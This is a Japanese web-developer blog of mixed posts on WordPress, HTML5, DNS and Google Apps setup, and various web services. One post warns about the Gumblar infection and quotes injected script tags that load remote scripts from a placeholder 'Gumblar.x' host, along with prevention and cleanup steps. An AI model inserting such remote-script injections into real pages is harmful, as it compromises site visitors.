Webまめちしき│でろぐ

今日は少し仕事で困った事があったので忘れないようにメモ。
まず前提としてページ内にあるサブナビだけをサイト内の共通要素として使用したかったのでいつも使っているphpのreadfileで対応しようとしたわけです。
ただ今回はその埋め込む対象が静的なHTMLファイルではなくWPのページ部分に追記する場合だったのがそもそもの事の発端です。

いつもやってる方法(一応メモ)
htmlファイルでもphpが読み込めるように.htaccessに「AddHandler php5-script .html」と記述しphpを動作させるようにします。
今回の場合はサーバーがヘテムルだったのでこんな感じでおｋ。
もちろんphpのバージョンも既存の環境にあう設定です。
次に読み込むファイルを作成。今回はサブナビなのでsubnavi.htmlとでもしておきます。
subnavi.htmlには以下のみを記載するとします。
<ul id="subnavi">
<li><a href="#">めにゅー</a></li>
<li><a href="#">めにゅー</a></li>
<li><a href="#">めにゅー</a></li>
</ul>

で、埋め込む側のファイルに絶対パスで
<? readfile("http://xxx.cm/subnavi.html"); ?>
と記載。すると埋め込みを指定したページにsubnavi.htmlの記述が反映されて埋め込み完了。
動作も確認してきちんと埋め込まれている事が確認できました。

と、ここまではいつもどおりにうまく行ってたんですがWPのページ内にこの記述を埋め込むとなぜか反映されない・・・・・。
ためしに埋め込んだページと全く同じ記述の静的なHTMLファイルを作りアップロードしてみると反映されている・・・。
という訳でこの時点でもうお手上げでした。
同じ記述をしているのにHTMLファイルとWPのページ内では動作が違うなんて・・・プログラムがよくわかんない僕ではここでお手上げです。
これは困ったと思いTwitterで愚痴っているとふとアイデアが浮かびました。(ここからが本題ですｗ)

「あのプラグインを使えばreadfileと同じような動作をWP上で実現できるんじゃね？」

そのプラグインというのがContact Form 7です。
このContact Form 7というプラグインはその名のとおりWP上で簡単にフォームが設置できるようになるプラグインなのですが、
このプラグインを使ってサブナビを実装しちゃいましたｗ

使い方は簡単でプラグインの設定画面から新規でフォームを作成し、フォームの部分にsubnavi.htmlに記述してある
<ul id="subnavi">
<li><a href="#">めにゅー</a></li>
<li><a href="#">めにゅー</a></li>
<li><a href="#">めにゅー</a></li>
</ul>
をまるコピすればおｋ。
あとはプラグインで指示されたコピペする記述をWPのページ内に貼り付けるだけ。
結果からいうとこっちの実装の方がWPでは簡単ですね。
フォームとかでめんどくさい時とかにたまに使ってたこのプラグインがこんな形で有効活用できるとは思ってもいませんでした。

これを応用すればサイト内のちょっとした共通要素をまとめて管理できる素晴らしいプラグインにはやがわりです！
もちろんフォームにも使えるのでカバーできる範囲がとっても広い。
これからはインストール時の基本メニューに決定です！

土曜日に何回か参加している勉強会ドットコーダーのセッション3「ゆるふわ愛されHTML5ポークチョップ」に参加してきました。
変な名前ですが要はHTML5を勉強しようというものでした。
HTML5はまだ策定中のHTMLの新しい仕様なのですが、わりかた出来てきているのでここらで押さえておいた方がいいなと思っていたので参加しました。
今回の勉強会はいつもと違ってワークショップ形式という事で参加者を6つのチームに分けて、実際に主催者が用意してくれたデザインカンプを元にデザインをHTML5で時間内にチームでコーディングするというものでした。
制限時間後は各チームで「どうしてこうなったのか？」というコードのプレゼンを行いました。

ワークショップ自体は知ってはいましたが実際にやってみてかなりいい刺激を受けました。
というのも基本的に制作をする時って個人でするものなのでコーディング中に複数人とコーディングの仕方について話すということがないので他の人の作業の仕方がみれたのも面白いポイントでした。
僕のいたチームは僕を含め3人だったのですがPCで入力してもらう係とアイデア出しと検証の係、プレゼンで話す係を割り当てて僕はプレゼンで話す係を担当しました。
他のチームは他のチームでそれぞれ独自に色々と面白そうに取り組んでいました。
なので最終的なプレゼンもチームの個性がでていて非常に面白かったです。

で、今回実際にHTML5でコーディングを行ってものすごく勉強になったのでちょっと忘れないように覚書をしておこうと思います。
(ここから下の紹介分はかなり自分視点で書いてます。なので「ここは間違いだ！」と思われましたら突っ込んでください)

hgroup
ｈ1やｈ2みたいな見出し要素をグループ化してまとめておく時に使います。
使い方が微妙かなーと思いつつも文書の定義づけに意外と使い道がありそう。
将来的にはSEOでもけっこう重要になってくるのではないかと思います(その時までSEOという手法が使われていればの話ですが。)
コードだとこんな感じ

<hgroup>
　<h1>ここにh1</h1>
　<h2>ここにh2</h2>
</hgroup>

要素についての詳細ははこちら

<input type="search" />
これは全く知らなかったのでけっこううれしい発見だったんですがこの新しいinputの要素を使うと検索時に入力したキーワードをキャンセルするボタンみたいのが出てきます。だからどうしたという事ではないんですがサイトによく使われるサイト内検索用に定義された要素というのがいいなと思いまして。

article
サイトの内の「単独で再配布でき再利用できる」部分を定義する要素がarticle要素。
わかりやすくいうとブログのFeedで配信される部分のようなイメージです。
(ブログFeedにはナビゲーションとかパンくずとか入ってないですよね。普通は。)
ここがしっかり定義されていればここを見ただけで「このコンテンツがどういうものであるか」という判別がつくようになるという事なので将来的にユーザビリティ向上のために重要視される要素になるのではと考えています。

コードだとこんな感じ

<article>
 <header>
  <h1>ここにh1</h1>
 </header>
 <p>ここに本文</p>
 <footer>
  ここにフッター
 </footer>
</article>

注目すべきポイントはやはりコンテンツ内に重複するheaderやfooter要素が内包できる事ですね。
要素についての詳細ははこちら

time
時間を定義する要素がtime要素です。コンテンツ内で表記すべき時間に関する部分を定義する時に使います。
僕的にはまだ完全に理解でききれていませんので今後の勉強課題です・・・。
コードだとこんな感じ

<p>
日時 <time datetime="2009-08-30">2009-08-30</time>
</p>

要素についての詳細ははこちら

figure
本文から参照する画像とか表とかを定義する要素がfigure要素。
本文から参照するという意味合いなのでレイアウト目的に使用してはいけませんよというのが引っ掛けポイントで、今回しっかり引っかかってしまった要素です。
コンテンツの本筋にかかる部分の画像と注釈のセットが使用対象なのでコンテンツ内でも比較的重要度が高いという認識がなされるのはまず間違いないと思います。「この説明にかかる図表はこれだ！」というのにかっちりくる時に使うようにします。

コードだとこんな感じ

<figure>
 <img src="画像のURL" alt="画像の代替文字列">
 <figcaption>画像の注釈</figcaption>
</figure>

要素についての詳細ははこちら

blockquote
前からある要素で引用をするときに使う要素なんですけど、HTML5からはsectionと同じようなセクショニングコンテンツのような位置付けになるみたいです。ということでこのタグ内に見出し要素を入れることが出来ます。

コードだとこんな感じ

<blockquote>
 <h1>引用タイトル</h1>
 <p>引用本文</p>
</blockquote>

要素についての詳細ははこちら
でも僕は今回そのことよりも勉強になったのが引用についての認識でした。
課題にはカンプの下の部分に「ここ文章は引用です」と書いてあったのですがソース元がないし、コンテンツ作成者が集めた独自コンテンツならば引用ではないのではないかという事で僕たちのチームではblockquoteでくくらなかったんですが、他のチームの方の説明でも色々意見が分かれてました。というのも「引用と書いてあるがソースがない」という部分。ネットに慣れ親しみすぎるとついついソースありきで引用の有り無しを判断してしまいがちですが、例えばお客様の声のような実際に人が紙に書いたものをサイト内のコンテンツに使用する場合でも引用として成立するという考え方もあるという事です。考え方は人によって違うのは当然なのでどれが正しいのか判断しかねる部分ではありますがそういう考え方も出来るのかとけっこう衝撃が強かったです。もっと広い視野で物事を考える・主観的になりすぎない癖を付けていこうと思いました。

em・strong
文字列の強調を表すこの2つの要素はこれまで似たような使い方だったのですがはっきりと意味合いを分けられるようになっています。
意味合い的にはemが単なる強調で、strongがコンテンツ内での重要性を定義付けるものです。これによって文書内での意味合いによってemとstrongをしっかり分けてマークアップ出来ます。これまでが微妙に分かりにくかったのでこの仕様変更はうれしいです。

コードだとこんな感じ

<p>
 文章がここに入る<em>ここは強調</em>文章がここに入る<strong>※強い重要性</strong>
</p>

要素についての詳細はemはこちら・strongはこちら

aside
メインのコンテンツには関係しているけど、やや本筋から逸れながらも軽く触れておきたいようなコンテンツから構成されるページに使う要素がaside要素。セクショニングコンテンツなので見出しを含む文書構造になります。
今回のお題ではサイト内のバナーやおすすめ商品の部分でasideが使われることが多かったのが印象的です。

コードだとこんな感じ

<article>
 <header>
  <h1>いぬ</h1>
 </header>
 <p>犬ってかわいいよね</p>
</article>
<aside>
 <h1>ねこ</h1>
 <p>ねこだってかわいいじゃないか！</p>
</aside>

要素についての詳細ははこちら

small
サイトの著作権表記に使用することが多い細目を定義付ける要素がsmall要素。
僕は普段あまり使わないんですが、今回は皆さんしっかり使ってました。
よくよく調べてみるとここしかないなって感じでフッターのコピーライト表記に最適だったりします。

コードだとこんな感じ

<footer>
 <address>
  <a href="#">制作者連絡先</a>
 </address>
 <p>
  <small>© copyright 2010 制作者 All Rights Reserved.  </small>
 </p>
</footer>

要素についての詳細ははこちら

という感じです。その他にもたくさん勉強になるポイントがありました。
参加されている皆さんのレベルがものすごく高くて僕のような中途半端な人間ではまだまだ勉強不足な感が否めませんでしたが、実際に参加して一緒に作ってみて、作った経緯の説明を聞いてかなり充実した内容でした。
おかげでかなり勉強になれましたし、自分自身のモチベーションアップにも繋がりました。
プレゼンするという機会もとてもいい経験になりましたしね。
次回以降も日程の合う限り参加して行こうと思いました。

先日Twitterの公式ツイートボタン「Twitter Button」がリリースされたので早速試してみました。
まずは実験という事ででろぐに実装してみる事にしましたがTwitter上でWordpressのプラグインTweetButtonが紹介されていたので早速入れてみました。
このプラグインはWPのほかのプラグインと同様にダウンロードしてきてWPのプラグインディレクトリにフォルダごとアップしてから、管理画面にログインしてプラグインの有効化をすれば使用できます。
まあ導入は至って簡単です。
導入後の画面がこちら

前からあるTOPSYのツイートボタンの横に同じような体裁でボタンが追加されました。
ためしにボタンを押すとこんな感じに。

Twitterにログインしているとボタンをクリックするとそのままツイートできる感じです。
まあ便利。
短縮URLはt.coが使われます。

でもよく考えると本家版を使っていなかったのでついでに調べてみました。
http://twitter.com/goodies/tweetbutton
こっちを使うとボタンの表示やツイート内の表示テキストURLや言語の選択などがカスタマイズでき、あとオススメフォローユーザーのアカウント表示までコントロールできます。
使い方次第ですが、例えばキャンペーンサイトなどに表示させてハッシュタグを埋め込んだり、意図的にRTを促進させたり、運営者のアカウントのPRが出来たりするのでけっこう便利かも。無料で利用できるので導入しやすいですし。
実装したいだけならWPのプラグインとかで簡単にできていいと思いますがカスタマイズしたいなら公式の方を使った方がいいような気がします。
あくまで個人的な意見ですけどね。

おまけ
このTwitter Buttonの事を調べていたら知らなかった少し便利な事が分かったので追記します。
それはTwitterのロゴやアイコンや公式のボタンがあるということです。(ボタンは今回のTwitter Buttonの事ではなく単純な画像の分ですよ)
Twitterロゴとアイコン
Twitterボタン
利用シーンによりますが使う場合はこっちを使った方がいいかも。
もちろん利用する場合は利用ガイドラインをしっかり把握した上で使うのは当然です。

今回は仕事で新しく独自ドメインを取得してWebサーバーを月額200円くらいのハッスルサーバーにしてメールをGoogleAppsで使ってみようという事になったのですけど、ちょっとつまった事があったので忘れないようにメモ。

まずは今回の前提でドメイン取得はムームードメインを使用します。
バリュードメインでも別によかったんですが使い慣れたムームーDNSでやってみようと思いましたので今回はムームーで。

ステップ1.ハッスルサーバー側でドメインを認識させる。
ドメイン取得の方法は割愛しましてまずはハッスルサーバー側で取得したドメインを認識させてディレクトリを割り当てる作業から。
ムームーにログインして「ドメイン詳細」→「取得したドメインを選択」→「表示をクリック」→「ネームサーバー設定変更をクリック」という手順でネームサーバーの変更画面に移動します。
で、まずはここで上記以外 のネームサーバを使用するを選択し、ネームサーバーの欄にハッスルサーバー側で指定されたns1.naid.jp、ns2.naid.jpを設定します。

こんな感じです。

で、続いてハッスルサーバーにログインして独自ドメインを割り当てます。
「独自ドメインの設定をクリック」→「新しいドメインの追加をクリック」するとドメインの設定画面が出るのでドメイン名とサイトデータを格納させたいディレクトリを設定します。

※もちろん中身はあたりですよ。あと、ポイントとしてwwwありの場合となしの場合を設定しましょう。(また別の機会で気分が向いたら説明しますがwwwがついたほうとついてない方はドメインとサブドメインの違いがあります。)

これで一旦Webサーバーの設定をしたのでこの段階でサイトが表示できるようになります。

ステップ2.GoogleAppsを設定する
続いてはメールを使えるようにしたいのでGoogleAppsの設定を開始します。
まずはGoogleAppsのアカウントの取得から。
http://www.google.com/a/cpanel/domain/newから順番どおりにやっていけばアカウントは取得できます。
もしつまったらGoogleAppsの説明サイトにもやり方が載ってるのでそっちを参考に。
で、アカウントを取得したので取得したアカウントをドメインと関連付けさせます。
やり方はこれまたこっちのページにあるのでこっちを参照。
今回はドメインのCNAMEレコードを設定する方法にしたのでCNAMEを変えないといけません。
なのでムームードメインにログインしネームサーバーをさっきの分からムームーDNSに切り替えます。
この設定中はサイトにアクセスできなくなりますので注意が必要です。

まずはサイドメニューのムームーDNSセットアップからGoogleAppsの指示通りにCNAMEレコードを設定します。
設定を完了させたらGoogleApps側に通知する前に再度「ドメイン詳細」→「取得したドメインを選択」→「表示をクリック」→「ネームサーバー設定変更をクリック」という手順を経てさっき設定したネームサーバーからムームーDNSに変更します。
これがけっこう忘れがちなので注意しましょう。
で、ムームーDNSの設定完了後はGoogleAppsでドメイン所有者の確認を行えばOKです。
所有者の確認は最大で48時間かかりますので今回のように新規ドメインで設定する場合はそんなに問題ありませんが既存ドメインで移行する場合はけっこう厄介ですね。何か対応方法を考えないと・・・。いいアイデアがある人は教えてください(笑)

ステップ3.ドメイン確認後の各種設定
ここまでのステップは比較的簡単なんですけど、こっからが少し厄介でした。
というのもハッスルサーバーはさっき指定したネームサーバーをムームーDNSのAレコードに設定してもWebサーバーとして認識しないんです。
なので困りましたがネットで探してこちらのページに記載してある方法でうまくいきました。
まずは説明にあるようにハッスルサーバーの収容サーバーを探します。
ハッスルサーバーのコンパネにログインしアカウント情報を確認すると今回の収容サーバーが判明。

今回取得したアカウントではrs24.naid.jpでした。

で、この収容サーバーアドレスのIPアドレスを特定します。
サイトに説明にあったようにスタートメニューからファイル名を指定を行いcmdと入力しOKと選ぶとコマンドプロンプトに移ります。
ここで先ほどのアドレスを使って「ping s24.naid.jp」と入力しEnterを押すとこのサーバーのIPアドレスが182.48.18.24である事が分かります。

IPアドレスが特定できたよ！

これでムームーDNSに入力するAレコードの値が分かったので設定を反映するためにムームーDNSの設定画面へ。
Aレコードの設定以外にも今回はGmailのみでなくGoogleカレンダー・Googledocsなども使おうと思ったので合わせて設定を行います。
そっちの説明はこちらのページを参照してください。
で、実際に設定した画面がこちら

かなりややこしく見えますが実際はコピペをしていくだけなのでそんなに難しくありません。
一応中身に説明を
AレコードはWebサーバー用です。wwwのサブドメインがあるほうとないほうを両方とも調べたハッスルサーバーの収容サーバーのIPアドレスを設定します。
MXレコードはメール用なのでGoogleAppsでの指示通りに指定します。
CNAMEレコードでGoogleApps側で使用するサブドメインをこれもGoogleAppsでの指示通りに指定します。

ただ、ここで僕が実際にやったミスなんですがサブドメイン項目の空欄部分に間違った情報を記入すると設定がうまくいきません・・・。
実際にここでけっこう長い間なんでかなーって詰まってました。

これで設定は完了。
Webサーバーの方はムームーDNSでの設定反映後にかなり早くの段階で変更が適用されましたがGoogleAppsのMXレコードの確認がかなり時間がかかる感じです。これも最大48時間かかるんですって。
今後の課題はこの設定時間をどうするかですね。新規はいいとしても既存のものを移行させようとするとこのタイムロスは大きいですね。
というわけで何かいい情報を持ってる方はよろしくです(しつこいｗ)

今更感がありますが最近feedlyを使うようになりました。
feedlyを知らない人向けに説明しますと、GoogleReaderの見た目を変えて使うサービスです。
使うにはFirefoxのアドオンかGoogleChromeの機能拡張で使うことになります。
Chromeをメインにしている僕にはちょうどいいです。
僕も使うまではGoogleReaderでいいやんと思ってましたが、実際使ってみるとGoogleReaderよりも好きになってしまいました。
その気にいった理由なんですが

・RSSの表示がきれい
別にGoogleReaderでも読めるんですが「もう少しだけまじめに読みたい」と思う回数が増えました。見た目で読む気にさせる効果が僕は上がりましたｗ

・RSSの情報整理がしやすくなった
これも完全に僕の主観ですが、feedlyでタグ分けしてFeedの属性毎に整理整頓するととてもすっきりしました。
しかも更新されたFeedはタグも表示してあるので「これはあとでいいや」というやつはスルーしておけばいいから作業の邪魔にもなりません。

・feedlyでの未読処理がGoogleReaderでも継承される
feedlyはGoogleReaderのシステムを利用しているのでfeedlyで読んだfeedはGoogleReaderでも未読の扱いになります。
なので例えば外出先等でGoogleReaderもしくはfeedlyでfeedを確認した場合どこでも未読の扱いになりますので一度読んだ情報を再度読むということはなくなります。

というのが大きなポイントです。
他にも機能はいろいろあります。
詳しくは以下参照
feedlyがすごい – Google Readerユーザーは試す価値あり

ただ、ちょっとだけつまずいた点があったのでメモがてら書いときます。

表示が変わってしまった
feedlyの基本画面はこんな感じ

なんですがこの画面がこんな風に

横にナビゲーションが出てきてしまいました。
理由が分からなかったのでもやもやしていましたがその理由が分かってすっきり
その理由というのが「ブラウザの大きさに応じてレイアウトが変わる」というものすごく単純なものでしたｗ
画面が大きくなると表示する情報が増えるという画面設計のようです。

feedlyでのRSSfeedの追加
GoogleReaderだと左上のボタンにURLをRSSのURLをコピペすれば登録feedの追加が出来ましたがfeedlyの基本画面ではボタンがなかったので一瞬分からなかったんですがよく見ると右上に小さく「+」があります。これをクリックするとfeedのURLを入力する画面が出てくるのでfeedを追加できます。

「+」で追加

ナビが出てくる画面の場合は右上の方の「add source」のテキストリンクで同様に追加する画面になります。

「add source」のテキストリンクで追加

また発見があれば追記します。

いつもRSSで読んでるサイトでchocotsというサイトがあるんですがそこで気になる記事が更新されました。
それがこれ
グーグル、リアルタイム検索日本版を開始、最新のTwitterを検索可能に
詳しくはchocotsを見れば分かるんですが、どうもgoogle.co.jpでもTwitterのリアルタイム検索が出来るようになったようです。
なんといってもTwitterの即時性の部分までもが検索対称に加わったという事はかなり大きな衝撃ですね。
検索結果画面に表示されるツイートは人間かbotかまで判断できるという事なのですごいことです。

これでTwitterを利用したマーケティングだとかビジネスがもっと盛り上がったりするんでしょうね。
そこに参加するにせよしないにせよ知っておく事が必要だと思うので今後もこれ系の話にも注意しておこうと思います。

今日は為になる事も紹介しようと思いましたので僕がけっこう気に入って使っているMT用の入力支援タイプのプラグインを2種類紹介します。

MTをブログやCMSで使う機会が多い人には特にそうだと思うんですが、よく使うタグとかクラス・Idなどを簡単に出したり、定型文を自動で読み込ませたりするとだいぶ作業効率が上がるよなーなんて考えてる人には最適なプラグインです。

まず1個目が「CustomEditorButton」です。
インストールの仕方は解凍したデータを階層を保持してそれぞれMTのpluginsディレクトリとmt-static/pluginsにアップロードするだけ。

アップロードするとシステムメニューにボタンという項目が追加され、自分で登録した項目をMTの入力画面でボタンにしておく事ができるようになります。

こんな感じで追加されます。

ボタンの追加や編集はシステムメニューのボタンから行います。
たとえばこんなコードを登録しておくと自分で作ったcssでレイアウトをしたりするといった事が簡単にクリックひとつでできてしまうという優れものです。
str = ‘<div id="xxx" class="xxxx">サンプル</div>’;

これで部品的に使う要素をまとめておけば更新が楽になるので作業効率もアップ！

で2個目が「NewEntryTemplate」。
さっきのCustomEditorButtonが入力画面に追加する時に「たまに使う」項目用だったのですがこっちは「常に使う」場合用です。
たとえば署名とかそんなの。
インストールの仕方はこれまた簡単で、MTのpluginsディレクトリにアップするだけ。
設定の仕方はシステムメニューのプラグインからNew Entry Templateの「設定を表示」をクリックするだけ。
タイトルや本文など記入するエリアごとに定型文を設定できるので非常に便利です。

設定画面はこんな感じです。

余談ですが「こんなことならMTのテンプレいじれば余裕じゃね」という意見もあると思います。
はっきりいえばそれでも事足りるんですが<$MTEntryBody$>の独自タグの中に埋め込ませたい場合にはこれが手っ取り早いです。

この2つを使い分けるとある決まった形式の記事更新とかが格段に早くなるので使えそうな場合は使ってみてはどうでしょうか。もちろん自己責任でお願いしますｗ
ちなみにこの2つのプラグインはMTの3と4のバージョンなら大概いけるぽいですが5は微妙です。
実際に5に入れてないのでなんともいえません。
もし5を使われてる人はこれまた自己責任でお願いしますｗ

ここ最近twitterでもこれの話題ばっかりツイートしてましたが知っとかないとかなり危険なものなのでまとめておきます。
まだ不十分な方はやっておきましょうね。

【対象ユーザー】
サイト管理者・Web担当者・一般ユーザーを含むWindowsユーザー全員

【感染経緯】
改竄されたWebサイトの閲覧によるスクリプトの読み込み許可で感染

【感染後の流れ】
まずはFFFTP等のFTP情報が盗まれます。
（FFFTPだけではなくほぼ全ての無料FTPクライアントが危険という認識でも問題ないレベルだそうです。未確認情報ですが。）
次に盗まれたIDとパスワードによりWebサイトが改竄されます。
改竄後はサイトに以下のような症状が現れます。

サーバー上のhtml、php、ｊｓファイルに外部サイトのスクリプトを読み込む記述が追加される。
HTMLやPHPには<body>タグの前に
<script src=http://Gumblar.x/_vti_cnf/nov_news_0403_PCGemilang.php ></script>
JSには最後に
document.write(‘<script src=http://Gumblar.x/images/index-2.php ><\/script>’);
のように追記されます。
（上記のアドレスは適当なやつですので実際には複数の色々なドメインになります。）

この状態までには管理者が気付かないまま進行します。
改竄されたサイトを放置しておくと感染の拡大になるのでサイトのデータを一旦削除し対策を行った後サイトの再開をすることをおすすめします。

※現在わかっている範囲の情報ではサイトの改竄はスクリプトコードが書き込まれるのみですが今後はわかりませんので注意が必要です。

【感染の予防】
とはいえ、まだ実際に感染したかどうか分からない場合は予防策として以下のような事をしておくことが推奨されています。

・「Windows Update」（Microsoft Update）の”自動更新”を有効にする。その後の手動更新も忘れずに行う方がいいと思います。
・「Adobe Reader」を最新版に更新する
・「Adobe Reader」の設定でJavaScript機能を無効にする（編集→環境設定→JavaScript→Acrobat JavaScriptを使用のチェックマークを外すことで無効になります。）
・「Adobe Flash Player」を最新版に更新する
・ 「Java」を最新版に更新する （不要なら削除、あえて導入する必要はない模様）
・ 「Apple QuickTime」を最新版に更新する （不要なら削除、あえて導入する必要はない模様）

【もし感染してしまったらor感染したかもしれない疑いがある場合】
セキュリティソフトで全てのドライブをスキャンしてウィルスが検出されるかどうかを確かめましょう。
仮に検出されてしまった場合は感染している疑いがあるのでOSの再インストールをした方がいいと思います。
他にも色々手段はあると思いますが、OSの再インストール後にセキュリティソフトを最新バージョンにアップデートするのが感染後の最良の手段でしょう。
もっといい手段がある場合は教えてください。
もちろんOSの再インストール前にはデータのバックアップをお忘れなく。

【サイトの再開に向けて】
OSを再インストールし、セキュリティソフトを最新バージョンにアップデートしたあとは一旦停止させていたサイトを再開しても大丈夫だと思います。
バックアップしたデータをその記録媒体ごとセキュリティソフトで診断し、ウィルスが混入していないか確認します。
何もない場合はそこから以下の手順でサイトを再開させましょう。
（以下はレンタルサーバーを借りて運営している場合の手順です。こうでなくてはいけないわけではないので御自身の判断でしてみてください。）

1.サーバーのコントロールパネルからFTPパスワードを変更する。
（仮にID,PASSWORDが漏れていた場合には次からアクセス出来ないようにするためにはパスワードの変更がいいと思います。）
2.FTPでサイトに接続し、一旦全データを削除する。
3.データをアップロードしなおす。
4.サイトをが改竄される前の状態に戻ったか確認する。

※FTPのパスワードは感染していないPCから行わないと意味がありませんので注意が必要です。

【最後に】
上記の事は僕がここ数日間かけて調べたことのまとめですがこれが必ずしも正しいというわけではありません。
スパイウェアなのでアップデートしたものでも感染してしまう場合がありますのであくまで参考までに。

最近Twitterで○○ったー系のサービスが多いのでちょっとまとめてみます。
こんなサービスがありますよーって感じですね。

らいせったー
自分の来世を予言するサービス。
deroterさんの来世は「空狐」です
という感じで出力されますす。
もちろんその結果をツイートすることも出来ますよ。

ドラクエッター
自分がドラクエの世界ではどのキャラなのかを想定する？サービス。
deroter さんはドラゴンクエストのせかいでは「オルゴデミーラ」です
という感じで出力されますす。
これも結果をツイート出来ます。

敵に回すと怖い度判定
自分を敵に回すとこのくらい怖いぞというのを判定するサービスです。
deroterさんの敵に回すと怖い度は80.0%です。
という感じで出力されますす。
これももちろん結果をツイート出来ます。

呟記能力夢
自分の隠された能力？を教えてくれるサービス。
deroter さんは豊穣を司る程度の能力です。
という感じで出力されますす。
これももちろん結果をツイート出来ます。

あなたの４文字をツイートします
自分を表す4文字熟語？を教えてくれるサービス。
deroter　さんへ、あなたを象徴する４文字は「増補改訂」です。
という感じで出力されますす。
これももちろん結果をツイート出来ます。

すくすく度判定
自分がどのくらいすくすく成長しているのかを教えてくれるサービスです。
deroterさんのすくすく度は7.6%です。
という感じで出力されますす。

ざざっと紹介しましたがこれ以上に大量の○○ったー系サービスが無数に存在していますので全部をまとめるのは不可能ですｗ
また、なんでも判定ツクールのようにサービス自体を作れるサービスもありますので自分で作ってみてしまうというのも面白いかもしれません。

今日Googleからあるメールが届きました。
僕に取っては非常に嬉しいニュースなのですが、件名は「Google からのお知らせ – ブラウザサポートについて」というもの。
内容としては2010年3月1日にIE6とFirefox2.0のGoogleドキュメント、Googleサイトエディターサポートを停止するというものです。
また、2010年後半にはGmail、Googleカレンダーのサポートを停止する予定という内容です。
ちなみにIE7以上、Firefox 3 以上、Safari 3 以上、GoogleChromeへのサポートは引き続き行われるそうです。

仕事上も大きく関わってくることですが、IE6が事実上切り捨てられたことは素直に嬉しいですね。
色々欠陥のあるブラウザなのでこれでお客さんにも「GoogleはIE6のサポートを終了しますよ！」と声を大にして言えるのがいい感じです。
コーディングのブラウザチェックの手間も減りますしね！
というわけで僕は今日から「さようならIE6」を宣言しますｗ
まだシェアは20％もありますが、今でも以前のようにネスケを前提とするところがないのと同じようにIE6はすでに過去の遺物であるので今後はIE6は「ないものor過去の話」という前提で話をすることにします。

ちなみにこんなキャンペーンも過去にありました
「IE6はもういらない」――Web企業が撲滅キャンペーン